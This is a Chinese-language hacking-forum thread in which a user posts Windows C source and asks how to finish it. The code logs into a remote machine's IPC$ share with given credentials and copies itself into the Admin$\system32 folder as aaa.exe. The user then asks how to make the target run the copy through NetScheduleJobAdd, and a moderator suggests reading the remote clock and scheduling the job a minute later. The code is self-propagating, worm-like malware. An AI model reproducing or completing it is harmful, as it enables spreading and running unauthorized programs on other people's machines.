|
作者: wjl_20cn [wjl_20cn] 论坛用户 | 登录 |
#include <windows.h> #include <stdio.h> #include <Winnetwk.h> #pragma comment(lib,"Mpr.lib") #define BUFFER_SIZE 1024 void CopytoHost(char *lpHost) { char lpCurrentPath[MAX_PATH]; char lpImagePath[MAX_PATH]; char *lpHostName; WIN32_FIND_DATA FileData; HANDLE hSearch; DWORD dwErrorCode; if(lpHost==NULL)//未指定机名或IP地址 { GetSystemDirectory(lpImagePath,MAX_PATH);//获取系统路径 strcat(lpImagePath,"\\ntkrnl.exe"); lpHostName=NULL; } else { sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\aaa.exe",lpHost); lpHostName=(char *)malloc(256); sprintf(lpHostName,"\\\\%s",lpHost); } printf("Transmitting File ... "); hSearch=FindFirstFile(lpImagePath,&FileData); if(hSearch==INVALID_HANDLE_VALUE) { GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) { dwErrorCode=GetLastError(); if(dwErrorCode==5) { printf("Failure ... Access is Denied !\n"); } else { printf("Failure !\n"); } return ; } else { printf("Success !\n"); } } else { printf("already Exists !\n"); FindClose(hSearch); } } //以某一用户名和密码连接对方的IPC:bConnect==TURE时连接;FALSE时断开连接lpHost为对方IP或机名 BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) { char lpIPC[256]; DWORD dwErrorCode; NETRESOURCE NetResource; sprintf(lpIPC,"\\\\%s\\ipc$",lpHost); NetResource.lpLocalName = NULL; NetResource.lpRemoteName = lpIPC; NetResource.dwType = RESOURCETYPE_ANY; NetResource.lpProvider = NULL; if(!stricmp(lpPassword,"NULL")) { lpPassword=NULL; } if(bConnect) { printf("Now Connecting ...... "); while(1) { dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED)) { WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); } else if(dwErrorCode==NO_ERROR) { printf("Success !\n"); break; } else { printf("Failure !\n"); return FALSE; } Sleep(10); } } else { printf("Now Disconnecting ... "); dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); if(dwErrorCode==NO_ERROR) { printf("Success !\n"); } else { printf("Failure !\n"); return FALSE; } } return TRUE; } int main(int argc,char *argv[]) { if(argc==2&&stricmp(argv[1],"y")==0) { printf("run!\n"); return 0; } if(argc==5) { if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE) { printf("can not connect %s!\n",argv[2]); return -1; } CopytoHost(argv[2]); //在这里我要让对方启动我刚传过去的本程序并给其命令行参数y,如何调用NetScheduleJobAdd??????? return 0; } return 0; } |
地主 发表时间: 08/22 01:13 |
回复: wjl_20cn [wjl_20cn] 论坛用户 | 登录 |
和尚哥,可否赐教??? |
B1层 发表时间: 08/22 12:47 |
回复: ricky [ricky] 版主 | 登录 |
你想问什么问题,我没有看到问题啊 |
B2层 发表时间: 08/25 08:44 |
回复: wjl_20cn [wjl_20cn] 论坛用户 | 登录 |
你看看源码: 在倒数第几行有几个连续问号,在此之前我已经连接了对方,并传了我的程序至对方的ADMIN$下,现在我想让他执行,怎么做????? |
B3层 发表时间: 08/27 00:11 |
回复: ricky [ricky] 版主 | 登录 |
先取得对方时间,让后让你的任务在1分钟后运行,就用你的函数 |
B4层 发表时间: 08/27 08:28 |
回复: wjl_20cn [wjl_20cn] 论坛用户 | 登录 |
我也知道这样,但编程如何实现,如何取得对方时间,如何启动对方的计莉任务,如何....... |
B5层 发表时间: 08/31 23:17 |
回复: ricky [ricky] 版主 | 登录 |
我的硬盘前两天物理损坏,所有的以前的东东都没了,只好麻烦去看看以前的贴子,上面有讲 |
B6层 发表时间: 09/01 08:58 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号